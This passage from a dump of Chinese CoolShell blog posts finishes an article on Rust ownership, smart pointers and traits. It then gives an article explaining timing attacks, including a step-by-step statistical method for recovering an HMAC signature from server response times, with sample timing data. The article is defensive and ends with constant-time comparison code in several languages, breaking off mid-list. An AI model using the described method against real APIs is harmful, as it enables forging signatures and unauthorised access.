Move 到线程内，这就保证了安全的问题—— `name` 在线程中永远不会失效，而且不会被别人改了。\n\n\n你可能会有一些疑问，你会质疑到\n\n\n* 一方面，这个 `name` 变量又没有声明成 `mut` 这意味着不变，没必要使用move语义也是安全的。\n* 另一方面，如果我想把这个 `name` 传递到多个线程里呢？\n\n\n嗯，是的，但是Rust的线程必需是 move的，不管是不是可变的，不然编译不过去。如果你想把一个变量传到多个线程中，你得创建变量的复本，也就是调用 `clone()` 方法。\n\n\n\n```\nlet name = \"CoolShell\".to_string();\nlet name1 = name.clone();\nlet t1 = thread::spawn(move || {\n    println!(\"Hello, {}\", name.clone());\n})\nlet t2 = thread::spawn(move || {\n    println!(\"Hello, {}\", name1.clone());\n});\nprintln!(\"wait t1={:?}, t2={:?}\", t1.join(), t2.join());\n```\n\n然后，你说，这种clone的方式成本不是很高？设想，如果我要用多线程对一个很大的数组做统计，这种clone的方式完全吃不消。嗯，是的。这个时候，需要使用另一个技术，智能指针了。\n\n\n#### Rust的智能指针\n\n\n如果你看到这里还不晕的话，那么，我的文章还算成功（如果晕的话，请告诉我，我会进行改善）。接下来我们来讲讲Rust的智能指针和多态。\n\n\n因为有些内存需要分配在Heap（堆）上，而不是Stack（堆）上，Stack上的内存一般是编译时决定的，所以，编译器需要知道你的数组、结构体、枚举等这些数据类型的长度，没有长度是无法编译的，而且长度也不能太大，Stack上的内存大小是有限，太大的内存会有StackOverflow的错误。所以，对于更大的内存或是动态的内存分配需要分配在Heap上。学过C/C++的同学对于这个概念不会陌生。\n\n\nRust 作为一个内存安全的语言，这个堆上分配的内存也是需要管理的。在C中，需要程序员自己管理，而在C++中，一般使用 [RAII 的机制](https://en.wikipedia.org/wiki/Resource_acquisition_is_initialization)（面向对象的代理模式），一种通过分配在Stack上的对象来管理Heap上的内存的技术。在C++中，这种技术的实现叫“智能指针”（Smart Pointer）。\n\n\n在C++11中，会有三种智能指针（这三种指针是什么我就不多说了）：\n\n\n* `unique_ptr`。独占内存，不共享。在Rust中是：`std::boxed::Box`\n* `shared_ptr`。以引用计数的方式共享内存。在Rust中是：`std::rc::Rc`\n* `weak_ptr`。不以引用计数的方式共享内存。在Rust中是：`std::rc::Weak`\n\n\n对于独占的 `Box` 不多说了，这里重点说一下共享的 `Rc` 和 `Weak` ：\n\n\n* 对于Rust的 Rc 来说，Rc指针内会有一个 `strong_count` 的引用持计数，一旦引用计数为0后，内存就自动释放了。\n* 需要共享内存的时候，需要调用实例的 `clone()` 方法。如： `let another = rc.clone()` 克隆的时候，只会增加引用计数，不会作深度复制（个人觉得Clone的语义在这里被践踏了）\n* 有这种共享的引用计数，就意味着有多线程的问题，所以，如果需要使用线程安全的智能指针，则需要使用`std::sync::Arc`\n* 可以使用 `Rc::downgrade(&rc)` 后，会变成 Weak 指针，Weak指针增加的是 `weak_count` 的引用计数，内存释放时不会检查它是否为 0。\n\n\n我们简单的来看个示例：\n\n\n\n```\nuse std::rc::Rc;\nuse std::rc::Weak\n\n//声明两个未初始化的指针变量\nlet weak : Weak; \nlet strong : Rc;\n{\n    let five = Rc::new(5); //局部变量\n    strong = five.clone(); //进行强引用\n    weak = Rc::downgrade(&five); //对局部变量进行弱引用\n}\n//此时，five已析构，所以 Rc::strong_count(&strong)=1， Rc::weak_count(&strong)=1\n//如果调用 drop(strong)，那个整个内存就释放了\n//drop(strong);\n\n//如果要访问弱引用的值，需要把弱引用 upgrade 成强引用，才能安全的使用\nmatch  weak_five.upgrade() {\n    Some(r) => println!(\"{}\", r),\n    None => println!(\"None\"),\n} \n\n```\n\n上面这个示例比较简单，其中主要展示了，指针共享的东西。因为指针是共享的，所以，对于强引用来说，最后的那个人把引用给释放了，是安全的。但是对于弱引用来说，这就是一个坑了，你们强引用的人有Ownership，但是我们弱引用没有，你们把内存释放了，我怎么知道？\n\n\n于是，**在弱引用需要使用内存的时候需要“升级”成强引用 ，但是这个升级可能会不成功，因为内存可能已经被别人清空了**。所以，这个操作会返回一个 `Option` 的枚举值，`Option::Some(T)` 表示成功了，而 `Option::None` 则表示失改了。你会说，这么麻烦，我们为什么还要 `Weak` ? 这是因为强引用的 `Rc` 会有循环引用的问题……（学过C++的都应该知道）\n\n\n另外，如果你要修改 `Rc` 里的值，Rust 会给你两个方法，一个是 `get_mut()`，一个是 `make_mut()` ，这两个方法都有副作用或是限制。\n\n\n`get_mut()` 需要做一个“唯一引用”的检查，也就是没有任何的共享才能修改\n\n\n\n```\n//修改引用的变量 - get_mut 会返回一个Option对象\n//但是需要注意，仅当（只有一个强引用 && 没有弱引用）为真才能修改\nif let Some(val) = Rc::get_mut(&mut strong) {\n    *val = 555;\n}\n```\n\n`make_mut()` 则是会把当前的引用给clone出来，再也不共享了， 是一份全新的。\n\n\n\n```\n//此处可以修改，但是是以 clone 的方式，也就是让strong这个指针独立出来了。\n*Rc::make_mut(&mut strong) = 555;\n\n```\n\n如果不这样做，就会出现很多内存不安全的情况。**这些小细节一定要注意，不然你的代码怎么运作的你会一脸蒙逼的**。\n\n\n嗯，如果你想更快乐地使用智能指针，这里还有个选择 – `Cell` 和 `RefCell`，它们弥补了 Rust 所有权机制在灵活性上和某些场景下的不足。他们提供了 `set()`/`get()` 以及 `borrow()`/`borrow_mut()` 的方法，让你的程序更灵活，而不会被限制得死死的。参看下面的示例。\n\n\n\n```\nuse std::cell::Cell;\nuse std::cell::RefCell\n\nlet x = Cell::new(1);\nlet y = &x; //引用（借用）\nlet z = &x; //引用（借用）\nx.set(2); // 可以进行修改，x，y，z全都改了\ny.set(3);\nz.set(4);\nprintln!(\"x={} y={} z={}\", x.get(), y.get(), z.get());\n\nlet x = RefCell::new(vec![1,2,3,4]);\n{\n    println!(\"{:?}\", *x.borrow())\n}\n\n{\n    let mut my_ref = x.borrow_mut();\n    my_ref.push(1);\n}\nprintln!(\"{:?}\", *x.borrow());\n```\n\n通过上面的示例你可以看到你可以比较方便地更为正常的使用智能指针了。然而，需要注意的是 `Cell` 和 `RefCell` 不是线程安全的。在多线程下，需要使用Mutex进行互斥。\n\n\n#### 线程与智能指针\n\n\n现在，我们回来来解决前面那还没有解决的问题，就是——我想在多个线程中共享一个只读的数据，比如：一个很大的数组，我开多个线程进行并行统计。我们肯定不能对这个大数组进行clone，但也不能把这个大数组move到一个线程中。根据上述的智能指针的逻辑，我们可以通过智指指针来完成这个事，下面是一个例程：\n\n\n\n```\nconst TOTAL_SIZE:usize = 100 * 1000; //数组长度\nconst NTHREAD:usize = 6; //线程数\n\nlet data : Vec<i32> = (1..(TOTAL_SIZE+1) as i32).collect(); //初始化一个数据从1到n数组\nlet arc_data = Arc::new(data); //data 的所有权转给了 ar_data\nlet result  = Arc::new(AtomicU64::new(0)); //收集结果的数组(原子操作)\n\nlet mut thread_handlers = vec![]; // 用于收集线程句柄\n\nfor i in 0..NTHREAD {\n    // clone Arc 准备move到线程中，只增加引用计数，不会深拷贝内部数据\n    let test_data = arc_data.clone(); \n    let res = result.clone(); \n    thread_handlers.push( \n        thread::spawn(move || {\n            let id = i;\n            //找到自己的分区\n            let chunk_size = TOTAL_SIZE / NTHREAD + 1;\n            let start = id * chunk_size;\n            let end = std::cmp::min(start + chunk_size, TOTAL_SIZE);\n            //进行求和运算\n            let mut sum = 0;\n            for  i in start..end  {\n                sum += test_data[i];\n            }\n            //原子操作\n            res.fetch_add(sum as u64, Ordering::SeqCst);\n            println!(\"id={}, sum={}\", id, sum );\n        }\n    ));\n}\n//等所有的线程执行完\nfor th in thread_handlers {\n    th.join().expect(\"The sender thread panic!!!\");\n}\n//输出结果\nprintln!(\"result = {}\",result.load(Ordering::SeqCst));\n```\n\n上面的这个例程，是用多线程的方式来并行计算一个大的数组的和，每个线程都会计算自己的那一部分。上面的代码中，\n\n\n* 需要向每个线程传入一个只读的数组，我们用`Arc` 智能指针把这个数组包了一层。\n* 需要向每个线程传入一个变量用于数据数据，我们用 `Arc<AtomicU64>` 包了一层。\n* 注意：`Arc` 所包的对象是不可变的，所以，如果要可变的，那要么用原子对象，或是用Mutex/Cell对象再包一层。\n\n\n这一些都是为了要解决“线程的Move语义后还要共享问题”。\n\n\n#### 多态和运行时识别\n\n\n##### 通过Trait多态\n\n\n多态是抽象和解耦的关键，所以，一个高级的语言是必需实现多态的。在C++中，多态是通过虚函数表来实现的（参看《[C++的虚函数表](https://coolshell.cn/articles/12165.html)》），Rust也很类似，不过，在编程范式上，更像Java的接口的方式。其通过借用于Erlang的Trait对象的方式来完成。参看下面的代码：\n\n\n\n```\nstruct Rectangle {\n    width : u32,\n    height : u32,\n} \n\nstruct Circle {\n    x : u32,\n    y : u32,\n    radius : u32,\n}\n\ntrait  IShape  { \n    fn area(&self) -> f32;\n    fn to_string(&self) -> String;\n}\n```\n\n我们有两个类，一个是“长方形”，一个是“圆形”， 还有一个 `IShape` 的trait 对象（原谅我用了Java的命名方式），其中有两个方法：求面积的 `area()` 和 转字符串的 `to_string()`。下面相关的实现：\n\n\n\n```\nimpl IShape  for Rectangle {\n    fn area(&self) -> f32 { (self.height * self.width) as f32 }\n    fn to_string(&self) ->String {\n         format!(\"Rectangle -> width={} height={} area={}\", \n                  self.width, self.height, self.area())\n    }\n}\n\nuse std::f64::consts::PI;\nimpl IShape  for Circle  {\n    fn area(&self) -> f32 { (self.radius * self.radius) as f32 * PI as f32}\n    fn to_string(&self) -> String {\n        format!(\"Circle -> x={}, y={}, area={}\", \n                 self.x, self.y, self.area())\n    }\n}\n\n```\n\n于是，我们就可以有下面的多态的使用方式了（我们使用独占的智能指针类 `Box`）：\n\n\n\n```\nuse std::vec::Vec;\n\nlet rect = Box::new( Rectangle { width: 4, height: 6});\nlet circle = Box::new( Circle { x: 0, y:0, radius: 5});\nlet mut v : Vec<Box> = Vec::new();\nv.push(rect);\nv.push(circle);\n\nfor i in v.iter() {\n   println!(\"area={}\", i.area() );\n   println!(\"{}\", i.to_string() );\n}\n```\n\n##### 向下转型\n\n\n但是，在C++中，多态的类型是抽象类型，我们还想把其转成实际的具体类型，在C++中叫运行进实别RTTI，需要使用像 `type_id` 或是 `dynamic_cast` 这两个技术。在Rust中，转型是使用 ‘`as`‘ 关键字，然而，这是编译时识别，不是运行时。那么，在Rust中是怎么做呢？\n\n\n嗯，这里需要使用 Rust 的 `std::any::Any` 这个东西，这个东西就可以使用 `downcast_ref` 这个东西来进行具体类型的转换。于是我们要对现有的代码进行改造。\n\n\n首先，先得让 `IShape` 继承于 `Any` ，并增加一个 `as_any()` 的转型接口。\n\n\n\n```\nuse std::any::Any;\ntrait  IShape : Any + 'static  {\n    fn as_any(&self) -> &dyn Any; \n    …… …… …… \n}\n```\n\n然后，在具体类中实现这个接口：\n\n\n\n```\nimpl IShape  for Rectangle {\n    fn as_any(&self) -> &dyn Any { self }\n    …… …… …… \n}\nimpl IShape  for Circle  {\n    fn as_any(&self) -> &dyn Any { self }\n    …… …… …… \n}\n```\n\n于是，我们就可以进行运行时的向下转型了：\n\n\n\n```\nlet mut v : Vec<Box<dyn IShape>> = Vec::new();\nv.push(rect);\nv.push(circle);\nfor i in v.iter() {\n    if let Some(s) = i.as_any().downcast_ref::<Rectangle>() {\n        println!(\"downcast - Rectangle w={}, h={}\", s.width, s.height);\n    }else if let Some(s) = i.as_any().downcast_ref::<Circle>() {\n        println!(\"downcast - Circle x={}, y={}, r={}\", s.x, s.y, s.radius);\n    }else{\n        println!(\"invaild type\");\n    }\n}\n```\n\n#### Trait 重载操作符\n\n\n操作符重载对进行泛行编程是非常有帮助的，如果所有的对象都可以进行大于，小于，等于这亲的比较操作，那么就可以直接放到一个标准的数组排序的的算法中去了。在Rust中，在 `std::ops` 下有全载的操作符重载的Trait，在`std::cmp` 下则是比较操作的操作符。我们下面来看一个示例：\n\n\n假如我们有一个“员工”对象，我们想要按员工的薪水排序，如果我们想要使用`Vec::sort()`方法，我们就需要实现这个对象的各种“比较”方法。这些方法在 `std::cmp` 内—— 其中有四个Trait : `Ord`、`PartialOrd` 、`Eq` 和 `PartialEq`  。其中，`Ord` 依赖于 `PartialOrd` 和 `Eq` ，而`Eq` 依赖于 `PartialEq`，这意味着你需要实现所有的Trait，而`Eq` 这个Trait 是没有方法的，所以，其实现如下：\n\n\n\n```\nuse std::cmp::{Ord, PartialOrd, PartialEq, Ordering};\n\n#[derive(Debug)]\nstruct Employee {\n    name : String,\n    salary : i32,\n}\nimpl Ord for Employee {\n    fn cmp(&self, rhs: &Self) -> Ordering {\n        self.salary.cmp(&rhs.salary)\n    }\n}\nimpl PartialOrd for Employee {\n    fn partial_cmp(&self, rhs: &Self) -> Option<Ordering> {\n        Some(self.cmp(rhs))\n    }\n}\nimpl Eq for Employee {\n}\nimpl PartialEq for Employee {\n    fn eq(&self, rhs: &Self) -> bool {\n        self.salary == rhs.salary\n    }\n}\n```\n\n于是，我们就可以进行如下的操作了：\n\n\n\n```\nlet mut v = vec![\n    Employee {name : String::from(\"Bob\"),     salary: 2048},\n    Employee {name : String::from(\"Alice\"),   salary: 3208},\n    Employee {name : String::from(\"Tom\"),     salary: 2359},\n    Employee {name : String::from(\"Jack\"),    salary: 4865},\n    Employee {name : String::from(\"Marray\"),  salary: 3743},\n    Employee {name : String::from(\"Hao\"),     salary: 2964},\n    Employee {name : String::from(\"Chen\"),    salary: 4197},\n];\n\n//用for-loop找出薪水最多的人\nlet mut e = &v[0];\nfor i in 0..v.len() {\n    if *e < v[i] { \n        e = &v[i]; \n    }\n}\nprintln!(\"max = {:?}\", e);\n\n//使用标准的方法\nprintln!(\"min = {:?}\", v.iter().min().unwrap());\nprintln!(\"max = {:?}\", v.iter().max().unwrap());\n\n//使用标准的排序方法\nv.sort();\nprintln!(\"{:?}\", v);\n```\n\n#### 小结\n\n\n现在我们来小结一下：\n\n\n* 在Rust的中，最重要的概念就是“不可变”和“所有权”以及“Trait”这三个概念。\n* 在所有权概念上，Rust喜欢move所有权，如果需要借用则需要使用引用。\n* Move所有权会导致一些编程上的复杂度，尤其是需要同时move两个变量时。\n* 引用（借用）的问题是生命周期的问题，一些时候需要程序员来标注生命周期。\n* 在函数式的闭包和多线程下，这些所有权又出现了各种麻烦事。\n* 使用智能指针可以解决所有权和借用带来的复杂度，但带来其它的问题。\n* 最后介绍了Rust的Trait对象完成多态和函数重载的玩法。\n\n\nRust是一个比较严格的编程语言，它会严格检查你程序中的：\n\n\n* 变量是否是可变的\n* 变量的所有权是否被移走了\n* 引用的生命周期是否完整\n* 对象是否需要实现一些Trait\n\n\n这些东西都会导致失去编译的灵活性，并在一些时候需要“去糖”，导致，你在使用Rust会有诸多的不适应，程序编译不过的挫败感也是令人沮丧的。在初学Rust的时候，我想自己写一个单向链表，结果，费尽心力，才得以完成。也就是说，**如果你对Rust的概念认识的不完整，你完全写不出程序，那怕就是很简单的一段代码**。我觉得，这种挺好的，逼着程序员必需了解所有的概念才能编码。但是，另一方面也表明了这门语言并不适合初学者。\n\n\n没有银弹，任何语言都有些适合的地方和场景。\n\n\n（全文完）\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![C++的坑真的多吗？](../wp-content/uploads/2012/08/cpp_small-150x150.jpg)](https://coolshell.cn/articles/7992.html)[C++的坑真的多吗？](https://coolshell.cn/articles/7992.html)\n* [![那些曾伴我走过编程之路的软件](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png)](https://coolshell.cn/articles/5576.html)[那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/4905.html)[语言的数据亲和力](https://coolshell.cn/articles/4905.html)\nThe post [Rust语言的编程范式](https://coolshell.cn/articles/20845.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-7-5 计时攻击 Timing Attacks.md",
    "content": "---\nlayout: post\ntitle: 计时攻击 Timing Attacks\ndate: 2020/7/5/ 5:26:52\nupdated: 2020/7/5/ 5:26:52\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/06/time-bomb-300x300.png)本文来自读者“程序猿石头”的投稿文章《[这 10 行比较字符串相等的代码给我整懵了，不信你也来看看](http://mp.weixin.qq.com/s?__biz=MzI3OTUzMzcwNw==&mid=100002290&idx=1&sn=8829db16a065f485b257fba0c691d94f&chksm=6b4708165c30810096133f36523c8c781ce5333d851c31905d6cc49dd9b756a3f08141fbc9e8#rd)》，原文写的很好，但不够直接了当，信息密度不够高，所以我对原文进行大量的删减、裁剪、改写和添加，主要删除了一些没有信息的段落，主要加入了如何实施计时攻击相关的其它内容，让这篇文章中的知识更系统一些，并且还指出了其它的一些问题。所以，我把标题也改成了《计时攻击 Timing Attacks》。\n\n\n#### 另类的字符串比较\n\n\n在 Java 的 Play Framework 里有[一段代码](https://github.com/playframework/play1/blob/b01eb02eb8df2e94cac2793c028dd9c4c5a57b31/framework/src/play/mvc/CookieDataCodec.java#L82)用来验证cookie(session)中的数据是否合法（包含签名的验证）的代码，如下所示：\n\n\n\n```\nboolean safeEqual(String a, String b) {\n   if (a.length() != b.length()) {\n       return false;\n   }\n   int equal = 0;\n   for (int i = 0; i < a.length(); i++) {\n       equal |= a.charAt(i) ^ b.charAt(i);\n   }\n   return equal == 0;\n}\n```\n\n相信刚看到这段源码的人会感觉挺奇怪的，这个函数的功能是比较两个字符串是否相等，如果要判断两个字符串是否相等，正常人的写法应该是下面这个样子的（来自JDK8 的 `String.equals()`-有删减）：\n\n\n\n\n```\npublic boolean equals(Object anObject) {\n    String anotherString = (String)anObject;\n    int n = value.length;\n    if (n == anotherString.value.length) {\n        char v1[] = value;\n        char v2[] = anotherString.value;\n        int i = 0;\n        while (n-- != 0) {\n            if (v1[i] != v2[i]) // <- 遇到第一个不一样的字符时退出\n                return false;\n            i++;\n        }\n        return true;\n    }\n    return false;\n}\n```\n\n我们可以看到，在比较两个字符串是否相等的正常写法是：\n\n\n1. 先看一下两个字符串长度是否相等，如果不等直接返回 false。\n2. 如果长度相等，则依次判断每个字符是否相等，如果不等则返回 false。\n3. 如果全部相等，则返回 true。一旦遇到不一样的字符时，直接返回false。\n\n\n然而，Play Framework里的代码却不是这样的，尤其是上述的第2点，用到了异或，熟悉位操作的你很容易就能看懂，通过异或操作 `1^1=0` , `1^0=1`, `0^0=0`，来比较每一位，如果每一位都相等的话，两个字符串肯定相等，最后存储累计异或值的变量 `equal`必定为 0（因为相同的字符必然为偶数），否则为 1。\n\n\n但是，这种异或的方式不是遇到第一个不一样的字符就返回 false 了，而是要做全量比较，这种比较完全没有效率，这是为什么呢？原因是为了安全。\n\n\n#### 计时攻击(Timing Attack)\n\n\n计时攻击（[Wikipedia](https://en.wikipedia.org/wiki/Timing_attack)）是[旁道攻击](https://en.wikipedia.org/wiki/Side-channel_attack)(或称”侧信道攻击”， Side Channel Attack， 简称SCA) 的一种，**旁通道攻击**是指基于从计算机系统的实现中获得的信息的任何攻击 ，而不是基于实现的算法本身的弱点（例如，密码分析和软件错误）。时间信息，功耗，电磁泄漏甚至声音可以提供额外的信息来源，可以加以利用。在很多物理隔绝的环境中（黑盒），往往也能出奇制胜，这类新型攻击的有效性远高于传统的密码分析的数学方法。（注：企图通过社会工程学欺骗或强迫具有合法访问权限的人来破坏密码系统通常不被视为旁道攻击）\n\n\n计时攻击是最常用的攻击方法。那么，正常的字符串比较是怎么被黑客进行时间攻击的呢？\n\n\n我们知道，正常的字符串比较，一旦遇到每一个不同的字符就返回失败了，所以，理论上来说，前面只有2个字符相同字符串比较的耗时，要比前面有10个字符相同的比较要短。你会说，这能相差多少呢？可能几微秒吧。但是，我们可以放大这个事。比如，在Web应用时，记录每个请求的返回所需请求时间（一般是毫秒级），如果我们重复50次，我们可以查看平均时间或是p50的时间，以了解哪个字符返回的时间比较长，如果某个我们要尝试的字符串的时间比较长，我们就可以确定地得出这个这字符串的前面一段必然是正确的。（当然，你会说网络请求的燥音太多了，在毫秒级的请求上完全没办判断，这个需要用到统计学来降噪，后面会给出方法）\n\n\n这个事情，可以用来做HMAC的攻击，所谓HMAC，你可以参看本站的《[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html \"HTTP API 认证授权术\")》文章了解更多的细节。简单来说，HMAC，就是客户端向服务端发来一个字符串和其签名字符串（HMAC），然后，服务端的程序用一个私钥来对客户端发来的字符串进行签名得到签名字符串，然后再比较这个签名字符串（所谓签名，也就是使用MD5或SHA这样的哈希算法进行编码，是不可逆的）\n\n\n写成伪代码大概是这个样子：\n\n\n\n```\nbool verify(message, digest) {\n    my_digest = HMAC(key, message);\n    return my_digest.equals(digest) ;\n}\n```\n\n于是，攻击者在不知道签名算法和私钥的情况下，但是知道API的调用接口时，就可以通过一边穷举签名，一边统计调用时间的方式来非常有效率的破解签名。在这篇文章《[HMAC Timing Attacks](http://www.eggie5.com/45-hmac-timing-attacks)》中记录了整个攻击的过程。文章中记载：\n\n\n如果一个签名有40个长度，如：`f5acdffbf0bb39b2cdf59ccc19625015b33f55fe` 攻击者，从 `0000000000000000000000000000000000000000` 开始穷举，下面是穷举第一个字符（从`0`到`f`因为这是HMAC算法的取值范围）的时间统计。\n\n\n\n```\n0 0.005450913\n1 0.005829198\n2 0.004905407\n3 0.005286876\n4 0.005597611\n5 0.004814430\n6 0.004969118\n7 0.005335884\n8 0.004433182\n9 0.004440246\na 0.004860263\nb 0.004561121\nc 0.004463188\nd 0.004406799\ne 0.004978907\nf 0.004887240\n\n```\n\n可以看到，第一次测试通过的计时结果（以秒为单位），而值“ f”与样品的其余部分之间没有较大的变化量，所有结果看起来都非常接近。换句话说，有很多噪声掩盖了信号。因此，有必要进行多个采样（对测试进行缩放）并使用统计工具从噪声中滤除信号。为了将信号与噪声分开，我们必须按任意常数对测试进行缩放。通过实验，作者发现500是一个很好的数字。换句话说：运行测试500次，并记录500个试验中每个试验的结果。然后，通过人的肉眼观察可以可能看到 f 的调用明显比别的要长，但是这种方法很难自动化。\n\n\n所以，作者给了另一个统计算法，这个算法向服务器分别从 0 到 f 发出16个请求，并记录每个请求的响应时间，并将它们排序为1-16，其中1是最长（最慢）的请求，而16是最短（最快的请求），分别记录 0 – f 的名次，然后重复上述的过程 500 次。如下所示（仅显示25个样本，字符“ 0”首先被排名7、1、3，然后再次排名3……）：\n\n\n\n```\n{\n\"0\"=>[7, 1, 3, 3, 15, 5, 4, 9, 15, 10, 13, 2, 14, 9, 4, 14, 7, 9, 15, 2, 14, 9, 14, 6, 11...],\n\"1\"=>[13, 4, 7, 11, 0, 4, 0, 2, 14, 11, 6, 7, 2, 2, 14, 11, 8, 10, 5, 13, 11, 7, 4, 9, 3...],\n\"2\"=>[14, 5, 15, 5, 1, 0, 3, 1, 9, 12, 4, 4, 1, 1, 8, 6, 9, 4, 9, 5, 8, 3, 12, 8, 5...],\n\"3\"=>[15, 2, 9, 7, 2, 1, 14, 11, 7, 8, 8, 1, 4, 7, 12, 15, 13, 0, 4, 1, 7, 0, 3, 0, 0...],\n\"4\"=>[12, 10, 14, 15, 8, 9, 10, 12, 10, 4, 1, 13, 15, 15, 3, 1, 6, 8, 2, 6, 15, 4, 0, 3, 2...],\n\"5\"=>[5, 13, 13, 12, 7, 8, 13, 14, 3, 13, 2, 12, 7, 14, 2, 10, 12, 5, 8, 0, 4, 10, 5, 10, 12...]\n\"6\"=>[0, 15, 11, 13, 5, 15, 8, 8, 4, 7, 12, 9, 10, 11, 11, 7, 0, 6, 0, 9, 2, 6, 15, 13, 14...]\n\"7\"=>[1, 9, 0, 10, 6, 6, 2, 4, 12, 9, 5, 10, 5, 10, 7, 2, 4, 14, 6, 7, 13, 11, 6, 12, 4...],\n\"8\"=>[4, 0, 2, 1, 9, 11, 12, 13, 11, 14, 0, 15, 9, 0, 0, 13, 11, 13, 1, 8, 6, 5, 11, 15, 7...],\n\"9\"=>[11, 11, 10, 4, 13, 7, 6, 3, 2, 2, 14, 5, 3, 3, 15, 9, 14, 7, 10, 3, 0, 14, 1, 5, 15...],\n\"a\"=>[8, 3, 6, 14, 10, 2, 7, 5, 1, 3, 3, 0, 0, 6, 10, 12, 15, 12, 12, 15, 9, 13, 13, 11, 9...],\n\"b\"=>[9, 12, 5, 8, 3, 3, 5, 15, 0, 6, 11, 11, 12, 8, 1, 3, 1, 11, 11, 14, 5, 1, 2, 1, 6...],\n\"c\"=>[6, 7, 8, 2, 12, 10, 9, 10, 6, 1, 10, 8, 6, 4, 6, 4, 3, 2, 7, 11, 1, 8, 7, 2, 13...],\n\"d\"=>[2, 14, 4, 0, 14, 12, 11, 0, 8, 0, 15, 3, 8, 12, 5, 0, 10, 1, 3, 4, 12, 12, 8, 14, 8...],\n\"e\"=>[10, 8, 12, 6, 11, 13, 1, 6, 13, 5, 7, 14, 11, 5, 9, 5, 2, 15, 14, 10, 10, 2, 10, 4, 1...],\n\"f\"=>[3, 6, 1, 9, 4, 14, 15, 7, 5, 15, 9, 6, 13, 13, 13, 8, 5, 3, 13, 12, 3, 15, 9, 7, 10...]\n}\n```\n\n然后将每个字符的500个排名进行平均，得出以下示例输出：\n\n\n\n```\n\"f\", 5.302\n\"0\", 7.17\n\"6\", 7.396\n\"3\", 7.472\n\"5\", 7.562\n\"a\", 7.602\n\"2\", 7.608\n\"8\", 7.626\n\"9\", 7.688\n\"b\", 7.698\n\"1\", 7.704\n\"e\", 7.812\n\"4\", 7.82\n\"d\", 7.826\n\"7\", 7.854\n\"c\", 7.86\n```\n\n于是，`f` 就这样脱颖而出了。然后，再对剩余的39个字符重复此算法。\n\n\n**这是一种统计技术，可让我们从噪声中滤出真实的信号**。因此，总共需要调用：16 \\* 500 \\* 40 = 320,000个请求，而蛮力穷举需要花费16 ^ 40个请求。\n\n\n另外，学术界的这篇论文就宣称用这种计时攻击的方法破解了 OpenSSL 0.9.7 的RSA加密算法了。这篇 [Remote Timing Attacks are Practical （PDF）](http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf)论文中指出（我大致翻译下摘要，感兴趣的同学可以通过链接去看原文）：\n\n\n\n> 计时攻击往往用于攻击一些性能较弱的计算设备，例如一些智能卡。我们通过实验发现，也能用于攻击普通的软件系统。本文通过实验证明，通过这种计时攻击方式能够攻破一个基于 OpenSSL 的 web 服务器的私钥。结果证明计时攻击用于进行网络攻击在实践中可行的，因此各大安全系统需要抵御这种风险。\n> \n> \n\n\n参考资料：\n\n\n* [Timing Attacks on RSA: Revealing Your Secrets through the Fourth Dimension](http://www.cs.sjsu.edu/faculty/stamp/students/article.html)\n* [Remote Timing Attacks are Practical](http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf)\n\n\n#### 各语言的对应函数\n\n\n下面，我们来看看各个语言对计时攻击的对应函数\n\n\n**PHP**: <https://wiki.php.net/rfc/timing_attack>\n\n\n\n```\nbool hash_equals ( string $known_string , string $user_string )\n\nboolean password_verify ( string $password , string $hash )\n```\n\n**Java**:  Java 在1.6时是有问题的，其在 1.6.0.\\_17(6u17)才Fix了这个问题（[相关的fix patch](http://hg.openjdk.java.net/jdk6/jdk6/jdk/rev/562da0baf70b)），下面是 [JDK8源码](https://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/file/1832c29655eb/src/share/classes/java/security/MessageDigest.java#l442) – `MessageDigest.isEqual()`\n\n\n\n```\npublic static boolean MessageDigest.isEqual(byte[] digesta, byte[] digestb) {\n    if (digesta == digestb) return true;\n    if (digesta == null || digestb == null) {\n        return false;\n    }\n    if (digesta.length != digestb.length) {\n        return false;\n    }\n\n    int result = 0;\n    // time-constant comparison\n    for (int i = 0; i < digesta.length; i++) {\n        result |= digesta[i] ^ digestb[i];\n    }\n    return result == 0;\n}\n```\n\n**C/C++**：没有在常用的库中找到相关的函数，还是自己写吧。\n\n\n\n```\nint util_cmp_const(const void * a, const void *b, const size_t size) \n{\n  const unsigned char *_a = (const unsigned char *) a;\n  const unsigned char *_b = (const unsigned char *) b;\n  unsigned char result = 0;\n  size_t i;\n\n  for (i = 0; i < size; i++) {\n    result |= _a[i] ^ _b[i];\n  }\n\n  return result; /* returns 0 if equal, nonzero otherwise */\n}\n```\n\n**Python** – 2.7.7+使用 `hmac.compare_digest(a, b)`，否则，使用如下的Django的代码\n\n\n\n```\n#Taken from Django Source Code\n\ndef constant_time_compare(val1, val2):\n    \"\"\"\n    Returns True if the two strings are equal, False otherwise.\n\n    The time taken is independent of the number of characters that match.\n\n    For the sake of simplicity, this function executes in constant time only\n    when the two strings have the same length. It short-circuits when they\n    have different lengths.\n    \"\"\"\n    if len(val1) != len(val2):\n        return False\n    result = 0\n    for x, y in zip(val1, val2):\n        result |= ord(x) ^ ord(y)\n    return result == 0\n```\n\n**Go**  – 使用 `crypto/subtle` 代码包\n\n\n\n```\nfunc ConstantTimeByteEq(x, y uint8) int\nfunc ConstantTimeCompare(x, y []byte) int\nfunc ConstantTimeCopy(v int, x, y []byte)\nfunc ConstantTimeEq(x, 